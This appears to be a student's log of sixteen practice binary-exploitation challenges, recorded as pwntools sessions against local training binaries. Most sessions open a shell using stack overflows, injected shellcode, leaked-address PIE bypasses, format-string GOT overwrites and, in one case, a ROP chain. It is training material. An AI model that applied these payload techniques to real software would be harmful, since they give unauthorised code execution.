Abdul Rahuman Aslam Moopan Abdulwahab

PWN 1:

```
aslam@Aslam:~/pwns-main/chall_00$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./a.out")
[x] Starting local process './a.out'
[+] Starting local process './a.out': pid 13922

In [3]: add = (0x110 - 0x4)

In [4]: pr_64 = p64(0x69420)

In [5]: payload = b'a'*(add) + pr_64

In [6]: pr.sendline(payload)

In [7]: pr.interactive()
[*] Switching to interactive mode
Now tell me what you want what you really really want!!!!!
who
aslam    pts/1        2024-04-11 13:29
whoami
aslam
ls
README.md                  a.out:Zone.Identifier   pwn1_chall00.py
README.md:Zone.Identifier  main.c
a.out                      main.c:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_00
^C[*] Interrupted

In [8]: pr.close()
[*] Stopped process './a.out' (pid 13922)
```

PWN 2:

```
aslam@Aslam:~/pwns-main/chall_01$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./a.out")
[x] Starting local process './a.out'
[+] Starting local process './a.out': pid 2116

In [3]: add_1 = (0x110 - 8)

In [4]: add_2 = p32(0x1337)

In [5]: add_3 = p32(0x69696969)

In [6]: payload = b'A' * (add_1) + (add_2) + (add_3)

In [7]: pr.sendline(payload)

In [8]: pr.interactive()
[*] Switching to interactive mode
Obi Wan has trained you well...
My powers have doubled since the last time we met
who
aslam    pts/1        2024-04-11 16:43
whoami
aslam
ls
a.out  a.out:Zone.Identifier  main.c  main.c:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_01
^C[*] Interrupted
```

PWN 3:

```
aslam@Aslam:~/pwns-main/chall_02$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./withoutpie")
[x] Starting local process './withoutpie'
[+] Starting local process './withoutpie': pid 1195

In [3]: add_1 = (0x71)

In [4]: add_2 = (0x4)

In [5]: add_3 = (0x08049182)

In [6]: payload = b'A' * (add_1) + b'A' * (add_2) + p32(add_3)

In [7]: pr.sendline(payload)

In [8]: pr.interactive()
[*] Switching to interactive mode
Winning isn't everything, it's the only thing
whoami
aslam
ls
README.md                  a.out:Zone.Identifier   withoutpie
README.md:Zone.Identifier  main.c                  withoutpie:Zone.Identifier
a.out                      main.c:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_02
^C[*] Interrupted

In [9]: pr.close()
[*] Stopped process './withoutpie' (pid 1195)
```

PWN 4:

```
aslam@Aslam:~/pwns-main/chall_03$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_03")
[x] Starting local process './chall_03'
[+] Starting local process './chall_03': pid 10550

In [3]: context.arch = "amd64"

In [4]: pr.recvuntil(":)")
<ipython-input-4-e5d680024ea3>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.recvuntil(":)")
Out[4]: b"She sellz sea shellz by the return address\nHere's a leak :)"

In [5]: asm_shell = asm(shellcraft.sh())

In [6]: length_shell = len(asm_shell)

In [7]: ovr_flw = pr.recv()

In [8]: payload = (asm_shell + b'A' * (0x140 - length_shell) + b'A' * 8 + p64(int(ovr_flw,1
   ...: 6)))

In [9]: pr.sendline(payload)

In [10]: pr.interactive()
[*] Switching to interactive mode
who
aslam    pts/1        Apr 11 16:43
whoami
aslam
ls
chall_03  chall_03:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_03
^C[*] Interrupted

In [11]: pr.close()
[*] Stopped process './chall_03' (pid 10550)
```

PWN 5:

```
aslam@Aslam:~/pwns-main/chall_04$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_04")
[x] Starting local process './chall_04'
[+] Starting local process './chall_04': pid 11749

In [3]: add_1 = (0x60 - 8)

In [4]: add_2 = (0x00401176)

In [5]: payload = b'A'*(add_1) + p64(add_2)

In [6]: pr.sendline(payload)

In [7]: pr.interactive()
[*] Switching to interactive mode
Follow the compass and it'll point you in the right direction
who
aslam    pts/1        2024-04-11 16:43
whoami
aslam
ls
chall_04  chall_04:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_04
^C[*] Interrupted

In [8]: pr.close()
[*] Stopped process './chall_04' (pid 11749)
```

PWN 6:

```
aslam@Aslam:~/pwns-main/chall_05$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: elf = ELF("./chall_05")
[*] '/home/aslam/pwns-main/chall_05/chall_05'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

In [3]: pr = process("./chall_05")
[x] Starting local process './chall_05'
[+] Starting local process './chall_05': pid 14948

In [4]: pr.recvuntil(":")
<ipython-input-4-a50bc85f17be>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.recvuntil(":")
Out[4]: b"Follow the compass and it'll probably lead you in the wrong direction\nI wonder what this is:"

In [5]: ovr_flw = pr.recv()

In [6]: elf.address = (int(ovr_flw,16)) - elf.sym.main

In [7]: payload = (b'A'*(0x60-8) + p64(elf.sym.win))

In [8]: pr.sendline(payload)

In [9]: pr.interactive()
[*] Switching to interactive mode
who
aslam    pts/1        2024-04-11 16:43
whoami
aslam
ls
chall_05  chall_05:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_05
^C[*] Interrupted

In [10]: pr.close()
[*] Stopped process './chall_05' (pid 14948)
```

PWN 7:

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_06")
[x] Starting local process './chall_06'
[+] Starting local process './chall_06': pid 1869

In [3]: context.arch = "amd64"

In [4]: pr.recvuntil(":")
<ipython-input-4-a50bc85f17be>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.recvuntil(":")
Out[4]: b"I drink milk even though i'm lactose intolerant:"

In [5]: asm_shell = asm(shellcraft.sh())

In [6]: ovr_flw = pr.recv()

In [7]: pr.sendline(asm_shell)

In [8]: payload = b'A'*88 + p64(int(ovr_flw,16))

In [9]: pr.sendline(payload)

In [10]: pr.interactive()
[*] Switching to interactive mode
whoami
aslam
ls
chall_06  chall_06:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_06
^C[*] Interrupted

In [11]: pr.close()
[*] Stopped process './chall_06' (pid 1869)
```

PWN 8:

```
aslam@Aslam:~/pwns-main/chall_07$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_07")
[x] Starting local process './chall_07'
[+] Starting local process './chall_07': pid 20264

In [3]: context.arch = "amd64"

In [4]: asm_shell = asm(shellcraft.sh())

In [5]: pr.sendline(asm_shell)

In [6]: pr.interactive()
[*] Switching to interactive mode
The world is a vampire
whoami
aslam
ls
chall_07  chall_07:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_07
^C[*] Interrupted

In [7]: pr.close()
[*] Stopped process './chall_07' (pid 20264)
```

PWN 9:

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_08")
[x] Starting local process './chall_08'
[+] Starting local process './chall_08': pid 32636

In [3]: elf = ELF("./chall_08")
[*] '/home/aslam/pwns-main/chall_08/chall_08'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

In [4]: elf.got.puts - elf.sym.target
Out[4]: -56

In [5]: pr.sendline("4198950")
<ipython-input-5-5a90a7eb1405>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.sendline("4198950")

In [6]: pr.sendline("-7")
<ipython-input-6-43339c65191f>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.sendline("-7")

In [7]: pr.interactive()
[*] Switching to interactive mode
whoami
aslam
ls
chall_08  chall_08:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_08
^C[*] Interrupted

In [8]: pr.close()
[*] Stopped process './chall_08' (pid 32636)
```

PWN 10:

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_09")
[x] Starting local process './chall_09'
[+] Starting local process './chall_09': pid 33206

In [3]: elf = ELF("./chall_09")
[*] '/home/aslam/pwns-main/chall_09/chall_09'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

In [4]: payload = ((xor(elf.string(elf.sym.key), b"\x69")) + b"\x00\n")

In [5]: pr.send(payload)

In [6]: pr.interactive()
[*] Switching to interactive mode
whoami
aslam
ls
chall_09  chall_09:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_09
^C[*] Interrupted

In [7]: pr.close()
[*] Stopped process './chall_09' (pid 33206)
```

PWN 11:

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_10")
[x] Starting local process './chall_10'
[+] Starting local process './chall_10': pid 34438

In [3]: elf = ELF("./chall_10")
[*] '/home/aslam/pwns-main/chall_10/chall_10'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

In [4]: add_1 = (0x308)

In [5]: add_2 = (0x1a55fac3)

In [6]: payload = b'A' * (add_1) + b'A' * 4 + p32(elf.sym.win) + b'A' * 4 + p32(add_2)

In [7]: pr.sendline(payload)

In [8]: pr.interactive()
[*] Switching to interactive mode
why don't they ever make a 128 bit architecture?
whoami
aslam
ls
chall_10  chall_10:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_10
^C[*] Interrupted

In [9]: pr.close()
[*] Stopped process './chall_10' (pid 34438)
```

PWN 12:

```
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_11")
[x] Starting local process './chall_11'
[+] Starting local process './chall_11': pid 34937

In [3]: elf = ELF("./chall_11")
[*] '/home/aslam/pwns-main/chall_11/chall_11'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

In [4]: payload = fmtstr_payload(7, {elf.got.puts : elf.sym.win})

In [5]: pr.sendline(payload)

In [6]: pr.interactive()
[*] Switching to interactive mode
Write what wear pants please
       @
                                          Uaa
whoami
aslam
ls
chall_11  chall_11:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_11
^C[*] Interrupted

In [7]: pr.close()
[*] Stopped process './chall_11' (pid 34937)
```

PWN 13:

```
aslam@Aslam:~/pwns-main/chall_12$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_12")
[x] Starting local process './chall_12'
[+] Starting local process './chall_12': pid 1653

In [3]: elf = ELF("./chall_12")
[*] '/home/aslam/pwns-main/chall_12/chall_12'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

In [4]: pr.recvuntil(":")
<ipython-input-4-a50bc85f17be>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.recvuntil(":")
Out[4]: b"Sometimes life gets hard, here's some help:"

In [5]: ovr_flw = pr.recv()

In [6]: elf.address = int(ovr_flw, 16) - elf.sym.main

In [7]: payload = fmtstr_payload(7, {elf.got.puts : elf.sym.win})

In [8]: pr.sendline(payload)

In [9]: pr.interactive()
[*] Switching to interactive mode
                                                                                @         c                        ◆h◆WVk◆WVj◆WVi◆WV
whoami
aslam
ls
chall_12  chall_12:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_12
^C[*] Interrupted

In [10]: pr.close()
[*] Stopped process './chall_12' (pid 1653)
```

PWN 14:

```
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_13")
[x] Starting local process './chall_13'
[+] Starting local process './chall_13': pid 2577

In [3]: elf = ELF("./chall_13")
[*] '/home/aslam/pwns-main/chall_13/chall_13'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

In [4]: payload = b'A' * 272 + p32(elf.sym.systemFunc)

In [5]: pr.sendline(payload)

In [6]: pr.interactive()
[*] Switching to interactive mode
System of a doWn
whoami
aslam
ls
chall_13  chall_13:Zone.Identifier
pwd
/home/aslam/pwns-main/chall_13
^C[*] Interrupted

In [7]: pr.close()
[*] Stopped process './chall_13' (pid 2577)
```

PWN 15:

```
aslam@Aslam:~/pwns-main/chall_14$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_14")
[x] Starting local process './chall_14'
[+] Starting local process './chall_14': pid 2619

In [3]: payload = b''

In [4]: payload += p64(0x000000000040f3fe) + p64(0x00000000004c00e0) +
   ...: \
   ...: p64(0x00000000004494a7) + b'/bin//sh' + \
   ...: p64(0x000000000047b9c5) + p64(0x000000000040f3f3) + \
   ...: p64(0x00000000004c00e8) + p64(0x0000000000443b00) + \
   ...: p64(0x000000000047b9c5) + p64(0x00000000004018ca) + \
   ...: p64(0x00000000004c00e0) + p64(0x000000000040f3fe) + \
   ...: p64(0x00000000004c00e8) + p64(0x00000000004017cf) + \
   ...: p64(0x00000000004c00e8) + p64(0x0000000000443b00)

In [5]: for _ in range(49):
   ...:     payload += p64(0x00000000004709f0)
   ...:

In [6]: pr.sendline(payload)

In [7]: pr.interactive()
[*] Switching to interactive mode
[*] Process './chall_14' stopped with exit code -11 (SIGSEGV) (pid 2619)
Obligatory thing to print
[*] Got EOF while reading in interactive
ls
[*] Got EOF while sending in interactive

In [8]: pr.close()
```

PWN 16:

```
aslam@Aslam:~/pwns-main/chall_15$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: pr = process("./chall_15")
[x] Starting local process './chall_15'
[+] Starting local process './chall_15': pid 3603

In [3]: context.arch = "amd64"

In [4]: asm_shell = asm(shellcraft.sh())

In [5]: pr.recvuntil("Sometimes the canary is in the coal mine, someti
   ...: mes the canary is on the stack, and sometimes ... baked beans"
   ...: )
<ipython-input-5-3ded9801d2e3>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  pr.recvuntil("Sometimes the canary is in the coal mine, sometimes the canary is on the stack, and sometimes ... baked beans")
Out[5]: b'Sometimes the canary is in the coal mine, sometimes the canary is on the stack, and sometimes ... baked beans'

In [6]: ovr_flow = pr.recv()

In [7]: payload = asm_shell + b'A' * 232 + p32(0xdeadd00d) + p32(0xb16
   ...: b00b5) +b'A'*8+ p64(int(ovr_flow,16))

In [8]: pr.sendline(payload)

In [9]: pr.interactive()
[*] Switching to interactive mode
whoami
aslam
ls
chall_15  chall_15:Zone.Identifier  exploit.py
pwd
/home/aslam/pwns-main/chall_15
^C[*] Interrupted

In [10]: pr.close()
[*] Stopped process './chall_15' (pid 3603)
```